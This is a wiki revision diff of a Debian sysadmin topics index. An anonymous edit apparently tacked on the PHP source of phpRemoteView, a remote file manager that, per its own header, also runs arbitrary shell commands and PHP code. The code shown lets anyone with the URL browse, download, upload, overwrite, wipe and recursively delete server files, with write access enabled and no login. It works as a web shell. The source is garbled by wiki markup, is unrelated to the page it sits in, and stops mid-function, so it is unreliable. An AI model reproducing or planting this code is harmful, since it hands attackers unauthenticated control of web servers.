Differences between revisions 1 and 3 (spanning 2 versions)
Revision 1 as of 2004-01-11 21:34:15
Size: 2247
Editor: anonymous
Comment:
Revision 3 as of 2004-03-20 04:26:46
Size: 38592
Editor: anonymous
Comment:
Deletions are marked like this. Additions are marked like this.
Line 2: Line 2:
System administration is the topic of how one maintains and implements systems(like ["PCs"] running an operating system like ["Debian"]). In the case of Debian, there are numerous intricacies of each subsystem. It is hoped that this page will be a good reference

== Topics ==
 * TheUnixWay

 * TheDebianWay

   * DebianVsOtherDistros

 * AdministrationTools

   * BasicCommands

   * DebianPackageManagement

     * DebConf

   * DebianBugTrackingSystem

 * HardwareHelp

 * SystemProcesses

   * CronAtBatchSchedulers

     * ItsSixAmAndIveBeenHacked

     * UsefulScheduledEvents

 * UserAccounts

   * LdapAuthentication

 * SystemSecurity

   * WhatIsSecurity

   * SecurityChecklist

 * SystemResourceManagement

   * SystemPerformance

   * CpuManagement

   * MemoryMangement

   * DiskManagement

     * DiskIoManagement

     * DiskSpaceManagement

 * FileSystemsAndDisks

   * DiskPartitioning

   * DisksHorsesBirdsAndBees

   * RemoveableMedia

   * FileSystemChecks

   * AddingFilesystems

   * MovingFilesystems

   * ChangingFilesystemTypes

   * ProcFilesystem

   * VolumeManagement

     * RaidArrays

     * LogicalVolumeMangement

 * ShellScripting101

 * BackupAndRecovery

 * TerminalConfiguration

 * PrintingConfiguration

 * LinuxKernel

   * KernelOverview

   * KernelModules

   * KernelVersions

   * ["KernelALaDebian"]

   * CoolKernelStuff

 * NetworkConfiguration

   * BasicNetworkConfiguration

   * NetworkInterfaceConfiguration

   * RoutingConfiguration

   * ["DNSConfiguration"]

     * StaticDns

     * DhcpConf

   * EthernetConf

   * DialupConf

   * PcmciaConf

   * DslConf

   * CableConf

   * WirelessNetConf

   * FirewallConf

   * NetworkMonitoring

   * ProxyConf

 ''' ''' SquidConf

 ''' ''' ProxyAutodetectConf

 * ["XWindowSystem"]

   * ["XFreeConfig"]

   * VideoCards

   * WindowManagers

   * DesktopEnvironments

 * SoundConfiguration

 * EmailConfiguration

   * MaildirConfiguration

 * UserApplications

   * EditorApps

   * GraphicsApps

   * MathApps

   * NetApps

     * MailApps

     * BrowserApps

     * UsenetApps

   * ProgrammingApps

   * SystemApps

   * TextApps

   * UtilityApps

   * ViewerApps

   * GameApps
Исходный код phpRemoveView от 2002.08.05 (HOME)

--------------------------------------------------------------------------------


<?

/''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' *{{{
 *
 * Welcome to phpRemoteView (RemView)
 *
 * View/Edit remove file system:
 * - view index of directory (/var/log - view logs, /tmp - view PHP sessions)
 * - view name, size, owner:group, perms, modify time of files
 * - view html/txt/image/session files
 * - download any file and open on Notepad
 * - create/edit/delete file/dirs
 * - executing any shell commands and any PHP-code
 *
 * Free download from http://php.spb.ru/remview/
 * Version 03, 2002-08-05.
 * Please report bugs... in russian only ;)
 *
 * This programm for Unix/Windows system.
 *
 * (c) Dmitry Borodin, dima@php.spb.ru, http://php.spb.ru
 *
 ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' WHATS NEW ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * *
 *
 * --version3--
 * 2002.08.05 new: full windows support
 * fix some bugs, thanks Jeremy Flinston
 *
 * 2002.07.31 add file upload for create files
 * add 'direcrory commands'
 * view full info after safe_mode errors
 * fixed problem with register_glogals=off in php.ini
 * fixed problem with magic quotes in php.ini (auto strip slashes)
 *
 * --version2--
 * 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
 * add panel 'TOOLS': eval php-code and run shell commands
 * add copy/edit/create file (+panel 'EDIT')
 * add only-read mode (disable write/delete and PHP/Shell)
 *
 * 2002.01.19 add delete/touch/clean/wipe file
 * add panel 'INFO', view a/c/m-time, hexdump view
 * add session file view mode (link 'SESSION').
 *
 * 2002.01.12 first version!
 *
 ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' * ''' ''' */
}}}
{{{
   
   $version="2002-08-05";
}}}
{{{
   $hexdump_lines=8; // lines in hex preview file
   $hexdump_rows=24; // 16, 24 or 32 bytes in one line
}}}
{{{
   $write_access=true; // true - user may be write/delete.. <- Unsecured =)
                        // false - only read access (+disable PHP/Shell)
   
   $mkdir_mode=0755; // chmode for new dir ('MkDir' button)
}}}



///////////////////////////////////////////////////////////////////////////////
{{{
   error_reporting(2047);
   set_magic_quotes_runtime(0);
   if (function_exists("ob_start")) ob_start("ob_gzhandler");
}}}
{{{
   $self=$HTTP_SERVER_VARS['PHP_SELF'];
}}}
{{{
   $url="http://".getenv('HTTP_HOST').
        (getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
        $self.
        (getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");
}}}
{{{
   //
   // antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
   //
   $autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell ".
              "ftype fnot c2 confirm text df df2 df3 df4 ref from to";
   foreach (explode(" ",$autovars1) as $k=>$v) {
      if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
         elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
            //elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
   }
}}}
{{{
   //
   // autofix 'magic quotes':
   //
   $autovars2="php shell text d";
   if (get_magic_quotes_runtime() |||| get_magic_quotes_gpc()) {
      foreach (explode(" ",$autovars2) as $k=>$v) {
         if (isset($$v)) $$v=stripslashes($$v);
      }
   }
}}}


{{{
   $rand=microtime();
}}}
{{{
   if (!isset($c)) $c="";
   if (!isset($d)) $d="";
   if (!isset($f)) $f="";
}}}
{{{
   ob();
   $d=str_replace("\\","/",$d);
   if ($d=="") $d=realpath(".''")."''";
   if ($c=="") $c="l";
   if ($d[strlen($d)-1]!="''") $d.="''";
   $d=str_replace("\\","/",$d);
   if (!is_dir($d)) obb().die("<h3><P>Can't open directory <tt><font color=red><big>$d</big></font></tt>$obb");
   if (!realpath($d) |||| filetype($d)!="dir") obb().die("error dir type $obb");
   obb();
}}}
{{{
   //
   // OS detect:
   //
   $win=0;
   $unix=0;
   if (strlen($d)>1 && $d["1"]==":") $win=1; else $unix=1;
}}}


///////////////////////////////////////////////////////////////////////////////


$html=<<<remview
<html><head>
<title>phpRemoteView: $d$f</title>
</head>
<body>
<style>
A {
text-decoration : none;
}
.t {
font-size: 9pt;
text-align : center;
font-family: Verdana;
}
.t2 {
font-size: 8pt;
text-align : center;
font-family: Verdana;
}
.n {{{{
  font-family: Fixedsys
}}}
}
.s {
font-size: 10pt;
text-align : right;
font-family: Verdana;
}
.sy {
font-family: Fixedsys;
}
.s2 {
font-family: Fixedsys;
color: red;
}
</style>
remview;



function display_perms($mode)
{
if ($GLOBALS['win']) return 0;
''''' Determine Type '''''
if( $mode & 0x1000 )
$type='p'; ''''' FIFO pipe '''''
else if( $mode & 0x2000 )
$type='c'; ''''' Character special '''''
else if( $mode & 0x4000 )
$type='d'; ''''' Directory '''''
else if( $mode & 0x6000 )
$type='b'; ''''' Block special '''''
else if( $mode & 0x8000 )
$type='-'; ''''' Regular '''''
else if( $mode & 0xA000 )
$type='l'; ''''' Symbolic Link '''''
else if( $mode & 0xC000 )
$type='s'; ''''' Socket '''''
else
$type='u'; ''''' UNKNOWN '''''

''''' Determine permissions '''''
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';

''''' Adjust for SUID, SGID and sticky bit '''''
if( $mode & 0x800 )
$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 )
$group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 )
$world["execute"] = ($world['execute']=='x') ? 't' : 'T';

$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s\n", $world['read'], $world['write'], $world['execute']);
return $s;
}

function _posix_getpwuid($x) {{{{
   if ($GLOBALS['win']) return array();
   return @posix_getpwuid($x);
}}}
}

function _posix_getgrgid($x) {{{{
   if ($GLOBALS['win']) return array();
   return @posix_getgrgid($x);
}}}
}

function up($d,$f="",$name="") {{{{
   global $self,$win;
}}}
{{{
   $len=strlen($d."/".$f);
   if ($len<70) { $sf1="<font size=4>"; $sf2="<font size=5>"; }
   elseif ($len<90) {$sf1="<font size=3>"; $sf2="<font size=4>";}
   else {$sf1="<font size=2>"; $sf2="<font size=3>";}
}}}
{{{
   echo "<table width=100% border=0 cellspacing=0 cellpadding=4><tr><td
   bgcolor=#cccccc> $sf1";
}}}
{{{
   $home="<a href='$self'><font face=fixedsys size=+2>*</font></a>";
   echo $home.$sf2."<b>";
   if ($name!="") echo $name;
   else {
      if ($f=="") echo "Index of";
      else echo "View file";
   }
   echo "</b></font> ";
   
   $path=explode("/",$d);
}}}
{{{
   $rootdir="/";
   if ($win) $rootdir=strtoupper(substr($d,0,2))."/";
}}}
{{{
   $ss="";
   for ($i=0; $i<count($path)-1; $i++) {
      if ($i==0)
         $comm="<b>&nbsp;&nbsp;<big><b>$rootdir</b></big></b>";
      else
         $comm="$path[$i]<big><b>/</big></b>";
    
      $ss.=$path[$i]."/";
      echo "<a href='$self?c=l&d=".urlencode($ss)."'>$comm</a>";
      if ($i==0 && $d=="/") break;
   }
   echo "</font>";
   if ($f!="") echo "$sf1$f</font>";
}}}
{{{
   if ($win && strlen($d)<4) {
      echo " &nbsp; DISK: ";
      for ($i=ord('a'); $i<=ord('z'); $i++) {
         echo "<a href=$self?c=l&d=".chr($i).":/>".strtoupper(chr($i)).":</a> ";
      }
   }
}}}
{{{
   echo "</b></big></td><td bgcolor=#999999 width=1% align=center>
   <table width=100% border=0 cellspacing=3 cellpadding=0
   bgcolor=#ffffcc><tr><td align=center><font size=-1><nobr><b><a
   href=$self?c=t&d=".urlencode($d).">REMVIEW TOOLS</a></b>
   </nobr></font></td></tr></table>
   </td></tr></table>";
}}}
}


function up_link($d,$f) {
global $self;
echo "<small>
[<a href=$self?c=i&d=".urlencode($d)."&f=".urlencode($f)."><b>Info</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=><b>Plain</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1><b>HTML</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=4><b>Session</b></a>]
[only <a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=0&fnot=1><b>Plain</b></a>||<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=1&fnot=1><b>HTML</b></a>]
[<a href=$self?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=2&fnot=1><b>Image</b></a>]
[<a href=$self/$f.txt?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>Notepad</b></a>]
[<a href=$self/$f?c=v&d=".urlencode($d)."&f=".urlencode($f)."&ftype=3&fnot=1><b>DOWNLOAD</b></a>]
[<a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f)."><b>Edit</b></a>]
</small>";
}


function exitw() {
exit("<table width=100% border=0 cellspacing=2 cellpadding=0 bgcolor=#ffdddd>
<tr><td align=center>
Sorry, this programm run in read-only mode.<br>
For full access: write `<tt><nobr><b>\$write_access=<u>true</u>;</b></nobr></tt>`
in this php-file.</td></tr></table>
");
}



function ob() {{{{
   global $obb_flag, $obb;
   if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
   if (function_exists("ob_start")) {
      if ($GLOBALS['obb_flag']) ob_end_clean();
      ob_start();
      $GLOBALS['obb_flag']=1;
   }
}}}
}

function obb() {{{{
   global $obb;
   if (function_exists("ob_start")) {
      $obb=ob_get_contents();
      ob_end_clean();
      $obb="<P>
}}}
<table bgcolor=#ff0000 width=100% border=0 cellspacing=1 cellpadding=0><tr><td>
<table bgcolor=#ccccff width=100% border=0 cellspacing=0 cellpadding=3><tr><td align=center>
<b>Reason:</b></td></tr></table>
</td></tr><tr><td>
<table bgcolor=#ffcccc width=100% border=0 cellspacing=0 cellpadding=3><tr><td>
$obb<P>
</td></tr></table>
</table><P>";{{{
      $GLOBALS['obb_flag']=0;
   }
}}}
}

function sizeparse($size) {{{{
   return strrev(preg_replace("!...!","\\0 ",strrev($size)));
}}}
}



///////////////////////////////////////////////////////////////////////////


switch($c) {


// listing
case "l":
{{{
   echo $GLOBALS['html'];
}}}
{{{
   if (!realpath($d)) die("Error path. <a href=$self>Click here for start</a>.");
}}}
{{{
   up($d);
   
   ob();
   $di=dir($d);
   obb();
}}}
{{{
   if (!$di) exit("<a href=$self?&c=l&d=".urlencode(realpath($d."..")).
      "><nobr>&lt;&lt;&lt; <b>up directory</b> &gt;&gt;&gt;</nobr></a> <p>".
      "<font color=red><b>access denied</b></font>: $obb");
   unset($files);
   unset($dirs);
   while (false!==($name=$di->read())) {
      if ($name=="." |||| $name=="..") continue;
      if (@is_dir($d.$name)) $files["1 $name"]=$name;
      else $files["2 $name"]=$name;
      $ftype[$name]=@filetype($d.$name);
      $fperms[$name]=@fileperms($d.$name);
      $fmtime[$name]=@filemtime($d.$name);
      $fowner[$name]=@fileowner($d.$name);
      $fgroup[$name]=@filegroup($d.$name);
   }
   $di->close();
}}}
{{{
   echo "<table border=0 cellspacing=1 cellpadding=2 bgcolor=#cccccc>";
   echo "<tr bgcolor=#ffffff><td colspan=7><a href=$self?&c=l&d=".
      urlencode(realpath($d.".."))."><nobr>&lt;&lt;&lt; <b>up directory</b></a>
      &gt;&gt;&gt; &nbsp;
      [<a href=$self?c=d&d=".urlencode($d)."><b>dir commands</b></a>]
      </nobr></td></tr>";
   echo "<tr>
   <td width=20 align=center><small align=center><b>type</b></small></td>
   <td align=center width=200><small><b>name</b></small></td>
   <td align=center width=50 nobr><small><b>size</b></small></td>
   <td align=center width=80><small><b>owner:group</b></small></td>
   <td align=center width=80><small><b>perms</b></small></td>
   <td align=center width=80><small><b>mtime</b></small></td>
   </tr>";
}}}

{{{
   if (!isset($files) |||| count($files)==0) exit("</table><P>empty dir");
}}}
{{{
   ksort($files);
}}}

{{{
   if ($d[strlen($d)-1]!="''") $d.="''";
   foreach ($files as $k=>$v) {
      echo "<tr bgcolor=#ffffff>";
      $name=$d.$v;
      switch($ftype[$v]) {
      case "dir":
         echo "<td class=t><a href='?c=d&d=".urlencode($d.$v)."'>DIR</a></td><td class=n><a href=$self?&c=l&d=".
            urlencode($d.$v).">".substr($v,0,48)."</a></td>";
         echo "<td>&nbsp;</td>";
         break;
      case "file":
         $vv=strtolower(substr($v,strlen($v)-4,4));
         $ft="";
         if ($vv==".gif" |||| $vv==".jpg" |||| $vv==".png" |||| $vv==".bmp"
            |||| $vv==".ico" |||| $vv=="jpeg") $ft="&ftype=2&fnot=1";
         echo "<td class=t>".
            "<a href=$self/".urlencode($v)."?&c=v&fnot=1&ftype=3&d=".urlencode($d)."&f=".urlencode($v).">···</a> ".
            "<a href=$self?&c=i&d=".urlencode($d)."&f=".urlencode($v).">···</a>".
            "</td><td class=n><a href=$self?&c=v&d=".
            urlencode($d)."&f=".urlencode($v)."$ft>".substr($v,0,48)."</a></td>";
         echo "<td class=s nowrap>".sizeparse(filesize($d.$v))."</td>";
         break;
      case "link":
         echo "<td class=t>&#8212;&gt;</td><td class=n><a href=$self?&c=l&d=".
            urlencode($d.$v).">".substr($v,0,48)."</a></td>";
         echo "<td>&nbsp;</td>";
         break;
      default:
         echo "<td class=t>?</td><td class=n>$v</td>";
         echo "<td>&nbsp;</td>";
         break;
      }
}}}
{{{
      $tmp=@_posix_getpwuid($fowner[$v]);
      if (!isset($tmp['name']) |||| $tmp['name']=="") $tow=$fowner[$v];
      else $tow=$tmp['name'];
      $tmp2=@_posix_getgrgid($fgroup[$v]);
      if (!isset($tmp2['name']) |||| $tmp2['name']=="") $tgr=$fgroup[$v];
      else $tgr=$tmp2['name'];
      echo "<td class=t2>$tow $tgr</td>";
      echo "<td class=t2>".display_perms($fperms[$v])."</td>";
      echo "<td class=t2>".date("d/m/y H:i:s",$fmtime[$v])."</td>";
}}}
{{{
      echo "</tr>";
}}}
{{{
      flush();
   }
}}}
{{{
   echo "<''table><P><font size=1>phpRemoteView, version $version. Free download - <a href='http:''/php.spb.ru/remview/'>php.spb.ru/remview</a></font>";
}}}

break;


// view
case "v":

{{{
   if (!isset($fnot)) $fnot=0;
   if (!isset($ftype)) $ftype=0;
   
   if ($fnot==0) {
      echo $GLOBALS['html'];
      up($d,$f);
      echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a>";
      up_link($d,$f);
      echo "<hr size=1 noshade>";
   }
   if (!realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"rb")) exit("<p><font color=red><b>access denied</b></font>");
}}}
{{{
   if ($ftype==0 |||| $ftype==4) {
      $buf=fread($fi,filesize($d.$f));
      fclose($fi);
      //$buf=implode("",file($d.$f));
   }
}}}

{{{
   switch ($ftype) {
}}}
{{{
   case 0:
      echo "<pre>".htmlspecialchars($buf)."</pre>";
      break;
}}}
{{{
   case 1:
      readfile($d.$f);
      break;
}}}
{{{
   case 2:
      header("Content-type: image/gif");
      readfile($d.$f);
      break;
}}}
{{{
   case 3: // download
}}}
{{{
      // ... sucks headers ...
      //header("Connection: close");
      //header("Content-type: application/remview");
      //header("Content-Length: ".filesize($d.$f));
      header("Content-type: phpspbru");
      header("Content-disposition: attachment; filename=\"$f\";");
      readfile($d.$f);
      break;
}}}
{{{
   case 4: // session
   
      if (!function_exists("session_decode")) exit("Sorry, function session_decode() and SESSIONS a disabled");
      session_decode($buf);
      echo "<pre>";
      var_dump($HTTP_SESSION_VARS);
      echo "</pre>";
}}}
{{{
   }
}}}
{{{
   break;
}}}







case "i": // information for FILE
{{{
   echo $GLOBALS['html'];
   up($d,$f);
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a>";
   up_link($d,$f);
}}}
{{{
   if (!realpath($d.$f) |||| !file_exists($d.$f)) exit("file not found");
}}}
{{{
   echo "<pre>";
   echo "<big><b>".htmlspecialchars($d.$f)."</b></big>\n\n";
   echo "Size > ".filesize($d.$f)."<br>";
   echo "Owner/Group > ";
   $tmp=@_posix_getpwuid(fileowner($d.$f));
   if (!isset($tmp['name']) |||| $tmp['name']=="") echo fileowner($d.$f)." ";
   else echo $tmp['name']." ";
   $tmp=@_posix_getgrgid(filegroup($d.$f));
   if (!isset($tmp['name']) |||| $tmp['name']=="") echo filegroup($d.$f);
   else echo $tmp['name'];
   echo "<br>";
   echo "FileType > ".filetype($d.$f)."<br>";
   echo "Perms > ".display_perms(fileperms($d.$f))."<br>";
   echo "Create time > ".date("d/m/Y H:i:s",filectime($d.$f))."<br>";
   echo "Access time > ".date("d/m/Y H:i:s",fileatime($d.$f))."<br>";
   echo "MODIFY time > ".date("d/m/Y H:i:s",filemtime($d.$f))."<br>";
   echo "</pre>";
}}}
{{{
   $fi=@fopen($d.$f,"r");
   if ($fi) {
      $str=fread($fi,$hexdump_lines*$hexdump_rows);
      echo "<b>HEXDUMP PREVIEW</b>";
      $n=0;
      $a0="00000000<br>";
      $a1="";
      $a2="";
      for ($i=0; $i<strlen($str); $i++) {
         $a1.=sprintf("%02X",ord($str[$i])).' ';
         switch (ord($str[$i])) {
            case 0: $a2.="<font class=s2>0</font>"; break;
            case 32:
            case 10:
            case 13: $a2.="&nbsp;"; break;
            default: $a2.=htmlspecialchars($str[$i]);
         }
         $n++;
         if ($n==$hexdump_rows) {
            $n=0;
            if ($i+1<strlen($str)) $a0.=sprintf("%08X",$i+1)."<br>";
            $a1.="<br>";
            $a2.="<br>";
         }
      }
      //if ($a1!="") $a0.=sprintf("%08X",$i)."<br>";
      echo "<table border=0 bgcolor=#cccccc cellspacing=1 cellpadding=4 ".
         "class=sy><tr><td bgcolor=#e0e0e0>$a0</td><td bgcolor=white>".
         "$a1</td><td bgcolor=white>$a2</td></tr></table><p>";
   }
   
   if (!$write_access) exitw();
}}}
{{{
   $msg="";
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r+")) $msg=" (<font color=red><b>ONLY READ ACCESS</b></font>)";
   else fclose($fi);
   if (!is_file($d.$f) |||| !$fi=@fopen($d.$f,"r")) $msg=" (<font color=red><b>Can't READ file - access denied</b></font>)";
   else fclose($fi);
   if ($msg=="") $msg=" (full read/write access)";
}}}
{{{
   echo "<b>FILE SYSTEM COMMANDS$msg</b><p>";
}}}
{{{
   echo "
}}}
<table border=0 cellspacing=0 cellpadding=0><tr>

<td bgcolor=#cccccc><a href=$self?c=e&d=".urlencode($d)."&f=".urlencode($f).
"><b>&nbsp;&nbsp;EDIT&nbsp;&nbsp;<br>&nbsp;&nbsp;FILE&nbsp;&nbsp;</b></a></td>
<td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=delete>
<input type=hidden name=c2 value=delete>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=f value=\"".htmlspecialchars($f)."\">
<input type=submit value='DELETE'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr><br>
<small>Delete this file</small>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=delete>
<input type=hidden name=c2 value=clean>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=f value=\"".htmlspecialchars($f)."\">
<input type=submit value='CLEAN'><small>&gt;</small><input type=checkbox name=confirm value=touch></nobr><br>
<small>filesize to 0byte</small>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=delete>
<input type=hidden name=c2 value=touch>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=f value=\"".htmlspecialchars($f)."\">
<input type=submit value='TOUCH'><small>&gt;</small><input type=checkbox name=confirm value=touch></nobr><br>
<small>Set current 'mtime'</small>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=delete>
<input type=hidden name=c2 value=wipe>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=f value=\"".htmlspecialchars($f)."\">
<input type=submit value='WIPE(delete)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr><br>
<small>Write '0000..' and delete</small>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>
</tr></table>
";
{{{
   echo "<form action=$self method=post><input type=hidden name=c value=copy>".
        "<b>COPY FILE</b> from <input type=text size=40 name=from value=\"".htmlspecialchars($d.$f)."\">".
        " to <input type=text name=to size=40 value=\"".htmlspecialchars($d.$f)."\">".
        "<nobr><input type=submit value='COPY!'>".
        "&gt;<input type=checkbox name=confirm value=copy></nobr></form>";
}}}

echo "
<form action=$self method=post>
<b>MAKE DIR</b> (type full path)
<input type=hidden name=c value=newdir_submit>
<input type=text size=60 name=df value=\"".htmlspecialchars($d)."\">
<input type=submit value='MkDir'>
</form>";


echo "
<form action=$self method=post>
<b>CREATE NEW FILE or override old file</b><br>
<input type=hidden name=c value=newfile_submit>
Full file name <input type=text size=50 name=df value=\"".htmlspecialchars($d)."\">
<input type=submit value='CREATE/OVERRIDE'>
<input type=checkbox name=confirm value=1 id=conf1><label for=conf1>&lt;=confirm</label><br>
<textarea name=text cols=70 rows=10 style='width: 100%;'></textarea><br>
</form>";

echo "
<form enctype='multipart/form-data' action='$self' method=post>
<input type=hidden name=c value=fileupload_submit>
<b>CREATE NEW FILE or override old file (FILE UPLOAD)</b><br>
<input type=hidden name='MAX_FILE_SIZE' value=999000000>
1. select file on your local computer: <input name=userfile type=file><br>
2. save this file on path: {{{
  <input name=df size=50 value=\"".realpath($d)."/\"><br>
}}}
3. <input type=checkbox name=df2 value=1 id=df2 checked>{{{
  <label for=df2>create file name automatic</label>
  &nbsp;&nbsp;OR&nbsp;&nbsp;
  type any file name:
  <input name=df3 size=20><br>
}}}
4. <input type=checkbox name=df4 value=1 id=df4>{{{
  <label for=df4>convert file name to lovercase</label><br>
}}}
<input type=submit value='Send File'>
</form>";

break;







case "d": // information for DIRECTORY
{{{
   echo $GLOBALS['html'];
   up($d,"","Directory");
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a>";
   //up_link($d,"");
}}}
{{{
   if (!realpath($d) |||| !is_dir($d.$f)) exit("dir not found");
}}}
{{{
   echo "<pre>";
   echo "Owner/Group > ";
   $tmp=@_posix_getpwuid(fileowner($d.$f));
   if (!isset($tmp['name']) |||| $tmp['name']=="") echo fileowner($d.$f)." ";
   else echo $tmp['name']." ";
   $tmp=@_posix_getgrgid(filegroup($d.$f));
   if (!isset($tmp['name']) |||| $tmp['name']=="") echo filegroup($d.$f);
   else echo $tmp['name'];
   echo "<br>";
   echo "Perms > ".display_perms(fileperms($d.$f))."<br>";
   echo "Create time > ".date("d/m/Y H:i:s",filectime($d.$f))."<br>";
   echo "Access time > ".date("d/m/Y H:i:s",fileatime($d.$f))."<br>";
   echo "MODIFY time > ".date("d/m/Y H:i:s",filemtime($d.$f))."<br>";
   echo "</pre>";
   
   if (!$write_access) exitw();
}}}
{{{
   echo "<b>FILE SYSTEM COMMANDS</b><p>";
}}}
{{{
   echo "
}}}
<table border=0 cellspacing=0 cellpadding=0><tr>

<td><form action=$self method=post>
<input type=hidden name=c value=dirdelete>
<input type=hidden name=c2 value=files>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=ref value=\"$url\">
<input type=submit value='Delete all files in dir (rm *)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

<td><form action=$self method=post>
<input type=hidden name=c value=dirdelete>
<input type=hidden name=c2 value=dir>
<input type=hidden name=d value=\"".htmlspecialchars($d)."\">
<input type=hidden name=ref value=\"$url\">
<input type=submit value='Delete all dir/files recursive (rm -fr)'><small>&gt;</small><input type=checkbox name=confirm value=delete></nobr>
</td><td></form></td><td>&nbsp;&nbsp;&nbsp;</td>

</tr></table>
";

echo "
<form action=$self method=post>
<b>MAKE DIR</b> (type full path)
<input type=hidden name=c value=newdir_submit>
<input type=text size=60 name=df value=\"".htmlspecialchars($d)."\">
<input type=submit value='MkDir'>
</form>";


echo "
<form action=$self method=post>
<b>CREATE NEW FILE or override old file</b><br>
<input type=hidden name=c value=newfile_submit>
Full file name <input type=text size=50 name=df value=\"".htmlspecialchars($d)."\">
<input type=submit value='CREATE/OVERRIDE'>
<input type=checkbox name=confirm value=1 id=conf1><label for=conf1>&lt;=confirm</label><br>
<textarea name=text cols=70 rows=10 style='width: 100%;'></textarea><br>
</form>";

echo "
<form enctype='multipart/form-data' action='$self' method=post>
<input type=hidden name=c value=fileupload_submit>
<b>CREATE NEW FILE or override old file (FILE UPLOAD)</b><br>
<input type=hidden name='MAX_FILE_SIZE' value=999000000>
1. select file on your local computer: <input name=userfile type=file><br>
2. save this file on path: {{{
  <input name=df size=50 value=\"".realpath($d)."/\"><br>
}}}
3. <input type=checkbox name=df2 value=1 id=df2 checked>{{{
  <label for=df2>create file name automatic</label>
  &nbsp;&nbsp;OR&nbsp;&nbsp;
  type any file name:
  <input name=df3 size=20><br>
}}}
4. <input type=checkbox name=df4 value=1 id=df4>{{{
  <label for=df4>convert file name to lovercase</label><br>
}}}
<input type=submit value='Send File'>
</form>";


break;



case "delete":
{{{
   if (!$write_access) exitw();
}}}
{{{
   if (!isset($c2)) exit("err# delete 1");
   if (!isset($confirm) |||| strlen($confirm)<3) exit("Confirm not found (go back and set checkbox)");
   echo "<a href=$self?&c=l&d=".urlencode($d)."><nobr>&lt;&lt;&lt;<b>back to directory</b> &gt;&gt;&gt;</nobr></a><p>";
   if (!isset($d) |||| !isset($f) |||| !@file_exists($d.$f) |||| !@realpath($d.$f))
      exit("Delete cancel - File not found");
   if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm))
      exit("Do you want delete this script (phpRemoteView) ???<br><br><br><br>
      <a href='$self?c=delete&c2=$c2&confirm=delete&d=".urlencode($d)."&f=".urlencode($f)."&delete_remview_confirm=YES'>[YES, DELETE <b>ME</b>]</a>
       &nbsp; &nbsp; &nbsp;
      <a href='javascript:history.back(-1)'>[NO (back)]</a>");
}}}
{{{
   switch ($c2) {
   case "delete":
       //exit("$d $f");
       ob();
       if (!unlink($d.$f))
          obb().exit("<font color=red><b>Delete cancel - ACCESS DENIED</b></font>$obb");
